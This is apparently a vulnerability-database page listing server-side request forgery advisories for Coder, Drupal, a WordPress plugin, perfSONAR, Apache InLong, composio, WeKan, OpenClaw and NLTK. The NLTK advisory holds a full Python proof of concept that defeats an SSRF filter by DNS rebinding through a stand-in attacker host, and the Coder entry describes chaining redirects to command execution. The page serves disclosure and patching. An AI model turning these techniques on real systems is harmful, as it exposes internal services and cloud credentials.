GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5695 vulnerabilities reference this CWE, most recent first.

GHSA-QRWJ-VH9X-GW5V

Vulnerability from github – Published: 2026-07-06 21:52 – Updated: 2026-07-06 21:52
VLAI
Summary
Coder's workspace agent API insecure redirect handling allowed cross-agent file read and write
Details

Summary

agentConn.apiClient() used the default redirect behavior of http.Client while its custom transport dialed the host from the request URL as long as the port was the workspace agent HTTP API port (4). Agent tailnet IPs are deterministic from agent UUIDs, so a malicious workspace agent could return a redirect to another agent's tailnet IP and cause the control-plane client to send the follow-up workspace agent API request to the victim agent instead of the intended agent.

Redirects that preserve the method and body, such as HTTP 307 and 308, allow replay of write and process-start requests. HTTP 301, 302 and 303 redirects only convert POST requests to GET requests, so they are sufficient to demonstrate redirected reads but not write or command-execution primitives.

Impact

An authenticated user with a running workspace and control of a modified workspace agent can redirect workspace agent API requests made to their agent toward another online workspace agent reachable on the tailnet. If the attacker knows the victim agent UUID, they can derive the victim's tailnet IP and target the victim's file APIs to read or write files as the victim workspace user.

In affected versions that expose the workspace agent process API, the same primitive can be chained to command execution as the victim workspace user by writing a payload through the redirected file API and then redirecting a process-start request to execute it. This crosses workspace and tenant boundaries.

Patches

The fix disables automatic redirect following for workspace agent API clients and pins all workspace agent API dials to the intended agent's deterministic tailnet address. Requests whose URL host does not match the intended agent are rejected instead of being dialed.

The fix was backported to all supported release lines:

Release line Patched version
2.34 v2.34.4
2.33 v2.33.10
2.32 v2.32.9
2.29 (ESR) v2.29.19

Workarounds

None. Upgrading is required.

Resources

  • Fix: #26600
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.34.0"
            },
            {
              "fixed": "2.34.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.33.0"
            },
            {
              "fixed": "2.33.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.30.0"
            },
            {
              "fixed": "2.32.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/coder/coder/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.27.0"
            },
            {
              "fixed": "2.29.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-06T21:52:31Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`agentConn.apiClient()` used the default redirect behavior of `http.Client` while its custom transport dialed the host from the request URL as long as the port was the workspace agent HTTP API port (`4`). Agent tailnet IPs are deterministic from agent UUIDs, so a malicious workspace agent could return a redirect to another agent\u0027s tailnet IP and cause the control-plane client to send the follow-up workspace agent API request to the victim agent instead of the intended agent.\n\nRedirects that preserve the method and body, such as HTTP 307 and 308, allow replay of write and process-start requests. HTTP 301, 302 and 303 redirects only convert POST requests to GET requests, so they are sufficient to demonstrate redirected reads but not write or command-execution primitives.\n\n### Impact\n\nAn authenticated user with a running workspace and control of a modified workspace agent can redirect workspace agent API requests made to their agent toward another online workspace agent reachable on the tailnet. If the attacker knows the victim agent UUID, they can derive the victim\u0027s tailnet IP and target the victim\u0027s file APIs to read or write files as the victim workspace user.\n\nIn affected versions that expose the workspace agent process API, the same primitive can be chained to command execution as the victim workspace user by writing a payload through the redirected file API and then redirecting a process-start request to execute it. This crosses workspace and tenant boundaries.\n\n### Patches\n\nThe fix disables automatic redirect following for workspace agent API clients and pins all workspace agent API dials to the intended agent\u0027s deterministic tailnet address. Requests whose URL host does not match the intended agent are rejected instead of being dialed.\n\nThe fix was backported to all supported release lines:\n\n| Release line | Patched version |\n|---|---|\n| 2.34 | [v2.34.4](https://github.com/coder/coder/releases/tag/v2.34.4) |\n| 2.33 | [v2.33.10](https://github.com/coder/coder/releases/tag/v2.33.10) |\n| 2.32 | [v2.32.9](https://github.com/coder/coder/releases/tag/v2.32.9) |\n| 2.29 (ESR) | [v2.29.19](https://github.com/coder/coder/releases/tag/v2.29.19) |\n\n### Workarounds\n\nNone. Upgrading is required.\n\n### Resources\n- Fix: #26600",
  "id": "GHSA-qrwj-vh9x-gw5v",
  "modified": "2026-07-06T21:52:31Z",
  "published": "2026-07-06T21:52:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/security/advisories/GHSA-qrwj-vh9x-gw5v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/coder/coder/pull/26600"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/coder/coder"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coder\u0027s workspace agent API insecure redirect handling allowed cross-agent file read and write"
}

GHSA-QRWQ-JWQ3-8CC8

Vulnerability from github – Published: 2026-07-11 00:31 – Updated: 2026-07-13 21:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Drupal Drupal core allows Server Side Request Forgery. This issue affects Drupal core versions: from 0.0.0 to 10.5.12, from 10.6.0 to 10.6.11, from 11.2.0 to 11.2.14, from 11.3.0 to 11.3.12, from 0.0.0 to 11.0., from 0.0.0 to 11.1..

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-55807"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-10T22:16:43Z",
    "severity": "LOW"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Drupal Drupal core allows Server Side Request Forgery. This issue affects Drupal core versions: from 0.0.0 to 10.5.12, from 10.6.0 to 10.6.11, from 11.2.0 to 11.2.14, from 11.3.0 to 11.3.12, from 0.0.0 to 11.0.*, from 0.0.0 to 11.1.*.",
  "id": "GHSA-qrwq-jwq3-8cc8",
  "modified": "2026-07-13T21:31:18Z",
  "published": "2026-07-11T00:31:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55807"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-core-2026-008"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVCR-V37J-859C

Vulnerability from github – Published: 2026-06-19 06:31 – Updated: 2026-06-19 06:31
VLAI
Details

The Advanced Import plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.6. This is due to the plugin using wp_remote_get() to fetch a user-supplied URL without validating that the URL does not point to internal or private network resources in the demo_download_and_unzip() function. The 'demo_file' parameter from $_POST is passed through sanitize_text_field() (which only handles XSS-related sanitization) and then directly into wp_remote_get() when 'demo_file_type' is set to 'url'. Notably, the plugin uses wp_safe_remote_get() in other locations (theme template libraries) which would provide SSRF protection, but fails to use it in this critical AJAX handler. This makes it possible for authenticated attackers, with Author-level access and above (upload_files capability), to make web requests to arbitrary locations originating from the web application, which can be used to query and view data from internal services, including cloud instance metadata endpoints.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-4328"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-19T06:17:09Z",
    "severity": "MODERATE"
  },
  "details": "The Advanced Import plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.4.6. This is due to the plugin using wp_remote_get() to fetch a user-supplied URL without validating that the URL does not point to internal or private network resources in the demo_download_and_unzip() function. The \u0027demo_file\u0027 parameter from $_POST is passed through sanitize_text_field() (which only handles XSS-related sanitization) and then directly into wp_remote_get() when \u0027demo_file_type\u0027 is set to \u0027url\u0027. Notably, the plugin uses wp_safe_remote_get() in other locations (theme template libraries) which would provide SSRF protection, but fails to use it in this critical AJAX handler. This makes it possible for authenticated attackers, with Author-level access and above (upload_files capability), to make web requests to arbitrary locations originating from the web application, which can be used to query and view data from internal services, including cloud instance metadata endpoints.",
  "id": "GHSA-qvcr-v37j-859c",
  "modified": "2026-06-19T06:31:56Z",
  "published": "2026-06-19T06:31:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4328"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/advanced-import/tags/1.4.5/admin/class-advanced-import-admin.php#L561"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/advanced-import/tags/1.4.5/admin/class-advanced-import-admin.php#L612"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/advanced-import/trunk/admin/class-advanced-import-admin.php#L561"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/advanced-import/trunk/admin/class-advanced-import-admin.php#L612"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3566433%40advanced-import\u0026new=3566433%40advanced-import\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/baf55ce7-8a33-426c-a6a4-158a95a13a5c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVFG-Q6V8-7JX8

Vulnerability from github – Published: 2022-11-30 06:30 – Updated: 2022-12-02 15:30
VLAI
Details

An issue in the graphData.cgi component of perfSONAR v4.4.5 and prior allows attackers to access sensitive data and execute Server-Side Request Forgery (SSRF) attacks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-41412"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-30T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue in the graphData.cgi component of perfSONAR v4.4.5 and prior allows attackers to access sensitive data and execute Server-Side Request Forgery (SSRF) attacks.",
  "id": "GHSA-qvfg-q6v8-7jx8",
  "modified": "2022-12-02T15:30:26Z",
  "published": "2022-11-30T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-41412"
    },
    {
      "type": "WEB",
      "url": "https://github.com/renmizo/CVE-2022-41412"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/170069/perfSONAR-4.4.4-Open-Proxy-Relay.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVFH-V498-XRRF

Vulnerability from github – Published: 2026-08-20 18:30 – Updated: 2026-08-21 21:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Apache InLong.  Any authenticated user (no admin role required) can cause the InLong Manager server to make outbound HTTP requests or TCP connections to arbitrary internal hosts and ports.

This issue affects Apache InLong: from 2.0.0 before 2.4.0.

Users are advised to upgrade to Apache InLong's 2.4.0 or cherry-pick [1] to solve it.

[1]  https://github.com/apache/inlong/pull/12130 .

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-63044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-20T16:17:30Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Apache InLong.\u00a0\u00a0Any authenticated\u00a0user (no admin role required) can cause the\u00a0InLong Manager server to make outbound HTTP requests or TCP connections to\narbitrary internal hosts and ports.\n\nThis issue affects Apache InLong: from 2.0.0 before 2.4.0.\n\n\n\nUsers are advised to upgrade to Apache InLong\u0027s  2.4.0 or cherry-pick [1] to solve it.\n\n[1]\u00a0 https://github.com/apache/inlong/pull/12130 .",
  "id": "GHSA-qvfh-v498-xrrf",
  "modified": "2026-08-21T21:31:47Z",
  "published": "2026-08-20T18:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63044"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/b3rtzssd8hdk0dyq4y6mpdx6jj5ro4g6"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/20/17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QVG9-VP87-H3HR

Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-21 03:21
VLAI
Summary
composio Server-Side Request Forgery (SSRF) vulnerability
Details

A Server-Side Request Forgery (SSRF) vulnerability exists in composiohq/composio version v0.4.2, specifically in the /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT endpoint. This vulnerability allows an attacker to read files, access AWS metadata, and interact with local services on the system.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "composio-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-8952"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T03:21:37Z",
    "nvd_published_at": "2025-03-20T10:15:44Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability exists in composiohq/composio version v0.4.2, specifically in the /api/actions/execute/WEBTOOL_SCRAPE_WEBSITE_CONTENT endpoint. This vulnerability allows an attacker to read files, access AWS metadata, and interact with local services on the system.",
  "id": "GHSA-qvg9-vp87-h3hr",
  "modified": "2025-03-21T03:21:37Z",
  "published": "2025-03-20T12:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8952"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ComposioHQ/composio"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/d1acdd38-10d7-45df-9df0-9fc71f0e1c2a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "composio Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-QVHH-2F8H-HQGP

Vulnerability from github – Published: 2026-04-23 00:31 – Updated: 2026-05-26 15:32
VLAI
Details

WeKan before 8.35 contains a server-side request forgery vulnerability in webhook integration URL handling where the url schema field accepts any string without protocol restriction or destination validation. Attackers who can create or modify integrations can set webhook URLs to internal network addresses, causing the server to issue HTTP POST requests to attacker-controlled internal targets with full board event payloads, and can additionally exploit response handling to overwrite arbitrary comment text without authorization checks.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-41455"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-22T22:16:32Z",
    "severity": "MODERATE"
  },
  "details": "WeKan before\u00a08.35 contains a server-side request forgery vulnerability in webhook integration URL handling where the url schema field accepts any string without protocol restriction or destination validation. Attackers who can create or modify integrations can set webhook URLs to internal network addresses, causing the server to issue HTTP POST requests to attacker-controlled internal targets with full board event payloads, and can additionally exploit response handling to overwrite arbitrary comment text without authorization checks.",
  "id": "GHSA-qvhh-2f8h-hqgp",
  "modified": "2026-05-26T15:32:07Z",
  "published": "2026-04-23T00:31:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41455"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wekan/wekan/commit/2cd702f48df2b8aef0e7381685f8e089986a18a4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wekan/wekan/releases/tag/v8.35"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/wekan-ssrf-via-webhook-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QVMW-H675-H7QG

Vulnerability from github – Published: 2026-05-06 21:31 – Updated: 2026-05-11 16:13
VLAI
Summary
Duplicate Advisory: OpenClaw validates Zalo outbound photo URLs through the SSRF guard
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-2hh7-c75g-qj2r. This link is maintained to preserve external references.

Original Description

OpenClaw before 2026.4.22 contains a server-side request forgery vulnerability in the Zalo plugin's sendPhoto function that fails to validate outbound photo URLs through the SSRF guard. Attackers can bypass SSRF protection by providing malicious photo URLs to the Zalo Bot API, enabling unauthorized access to internal resources.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-11T16:13:37Z",
    "nvd_published_at": "2026-05-06T20:16:35Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2hh7-c75g-qj2r. This link is maintained to preserve external references.\n\n### Original Description\nOpenClaw before 2026.4.22 contains a server-side request forgery vulnerability in the Zalo plugin\u0027s sendPhoto function that fails to validate outbound photo URLs through the SSRF guard. Attackers can bypass SSRF protection by providing malicious photo URLs to the Zalo Bot API, enabling unauthorized access to internal resources.",
  "id": "GHSA-qvmw-h675-h7qg",
  "modified": "2026-05-11T16:13:37Z",
  "published": "2026-05-06T21:31:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-2hh7-c75g-qj2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44116"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/a65eb1b864b7630c1242a82de9e5799b80583c3f"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-in-zalo-photo-url-validation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: OpenClaw validates Zalo outbound photo URLs through the SSRF guard",
  "withdrawn": "2026-05-11T16:13:37Z"
}

GHSA-QVV7-CG9C-W4X3

Vulnerability from github – Published: 2026-07-31 16:51 – Updated: 2026-07-31 16:51
VLAI
Summary
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
Details

Summary

nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.

Details

urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connectsocket.create_connectionsocket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:

  1. validate_network_url() calls _resolve_hostname(parsed.hostname) and checks each returned IP against loopback/link-local/multicast/private, blocking under ENFORCE. (Resolution #1.)
  2. urlopen() then calls build_opener(...).open(url) with the original URL (raw hostname), so urllib resolves the hostname again at connect time. (Resolution #2 — the address actually connected to.)

_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.

PoC

import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer

warnings.filterwarnings("ignore")

import nltk
import nltk.pathsec as ps

ps.ENFORCE = True  # the documented strict SSRF sandbox

ATTACKER_HOST = "rebind.attacker.test"   # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34"              # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"


# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(SECRET)))
        self.end_headers()
        self.wfile.write(SECRET)

    def log_message(self, *a):
        pass


def start_internal_server():
    srv = HTTPServer(("127.0.0.1", 0), _Handler)
    threading.Thread(target=srv.serve_forever, daemon=True).start()
    return srv.server_address[1]  # ephemeral port


# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)


def _rebinding_getaddrinfo(host, port, *args, **kwargs):
    if host == ATTACKER_HOST:
        n = _lookups[host]
        _lookups[host] += 1
        ip = PUBLIC_IP if n == 0 else "127.0.0.1"   # 1st=public (validate), then loopback (connect)
        p = port if isinstance(port, int) else 0
        kind = "VALIDATION -> public" if n == 0 else "CONNECT    -> loopback"
        print(f"    [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
        return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
    return _real_getaddrinfo(host, port, *args, **kwargs)


def fetch(url):
    with ps.urlopen(url, timeout=5) as r:
        return r.read()


def main():
    print("=" * 62)
    print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
    print(f" nltk {nltk.__version__}   |   nltk.pathsec.ENFORCE = {ps.ENFORCE}")
    print("=" * 62)

    port = start_internal_server()
    print(f"[*] internal loopback service: http://127.0.0.1:{port}/  (returns secret)\n")

    socket.getaddrinfo = _rebinding_getaddrinfo
    ps._resolve_hostname.cache_clear()  # fresh validation cache, as on a real process
    try:
        # ---- Control: a DIRECT loopback URL must be blocked by the filter ----
        print("[1] CONTROL: direct loopback URL (filter must block this)")
        direct = f"http://127.0.0.1:{port}/"
        try:
            fetch(direct)
            print(f"    [?] unexpected: {direct} was NOT blocked\n")
            control_ok = False
        except PermissionError as e:
            print(f"    [OK] blocked -> PermissionError: {e}\n")
            control_ok = True

        # ---- Attack: rebinding hostname bypasses the same filter ----
        print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
        evil = f"http://{ATTACKER_HOST}:{port}/"
        print(f"    fetching {evil}")
        try:
            body = fetch(evil)
            leaked = SECRET in body
            print(f"    body returned to caller: {body!r}")
            if leaked:
                print("\n  [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
                print(f"         validated IP = {PUBLIC_IP} (public)  but  connected IP = 127.0.0.1")
                print(f"         non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
                verdict = "VULNERABLE"
            else:
                print("\n  [?] fetch succeeded but secret marker not present")
                verdict = "INCONCLUSIVE"
        except PermissionError as e:
            # Patched build: validate against the connect-time IP (or pin/resolve-once).
            print(f"\n  [SAFE] blocked -> PermissionError: {e}")
            verdict = "NOT VULNERABLE"
    finally:
        socket.getaddrinfo = _real_getaddrinfo

    print("\n" + "=" * 62)
    print(f" Control (direct loopback blocked): {control_ok}")
    print(f" Result: {verdict}   (ENFORCE = {ps.ENFORCE})")
    print("=" * 62)


if __name__ == "__main__":
    main()

Impact

  • Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g. nltk.data.load with format="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and — most seriously — the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise.
  • Bypass of an explicit security control. It defeats the nltk.pathsec SSRF filter, including the ENFORCE mode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and the lru_cache annotation claiming to mitigate rebinding makes the false assurance worse.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.9.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-12075"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:51:29Z",
    "nvd_published_at": "2026-06-15T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`nltk.pathsec` provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict `ENFORCE` mode for security-sensitive environments. The filter is bypassable by DNS rebinding: `validate_network_url()` resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under `nltk.pathsec.ENFORCE = True`.\n\n\n### Details\n`urlopen()` validates, then hands the raw hostname to `urllib`, which performs a second name resolution deep in the connection layer (`http.client.HTTPConnection.connect` \u2192 `socket.create_connection` \u2192 `socket.getaddrinfo`). The validation-side and connection-side resolutions are fully independent code paths with independent caches:\n\n1. `validate_network_url()` calls `_resolve_hostname(parsed.hostname)` and checks each returned IP against loopback/link-local/multicast/private, blocking under `ENFORCE`. (Resolution #1.)\n2. `urlopen()` then calls `build_opener(...).open(url)` with the original URL (raw hostname), so `urllib` resolves the hostname again at connect time. (Resolution #2 \u2014 the address actually connected to.)\n\n`_resolve_hostname` is decorated with `lru_cache` and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer\u0027s `getaddrinfo` does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.\n\n\n### PoC\n```python\nimport socket\nimport threading\nimport warnings\nfrom collections import defaultdict\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\nwarnings.filterwarnings(\"ignore\")\n\nimport nltk\nimport nltk.pathsec as ps\n\nps.ENFORCE = True  # the documented strict SSRF sandbox\n\nATTACKER_HOST = \"rebind.attacker.test\"   # attacker-controlled authoritative DNS\nPUBLIC_IP = \"93.184.216.34\"              # public address served for the validation lookup\nSECRET = b\"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS\"\n\n\n# --- A loopback-only \"internal service\" (stands in for 169.254.169.254 / admin UI) ---\nclass _Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(SECRET)))\n        self.end_headers()\n        self.wfile.write(SECRET)\n\n    def log_message(self, *a):\n        pass\n\n\ndef start_internal_server():\n    srv = HTTPServer((\"127.0.0.1\", 0), _Handler)\n    threading.Thread(target=srv.serve_forever, daemon=True).start()\n    return srv.server_address[1]  # ephemeral port\n\n\n# --- Model the TTL-0 rebinding record at the resolver layer ---\n_real_getaddrinfo = socket.getaddrinfo\n_lookups = 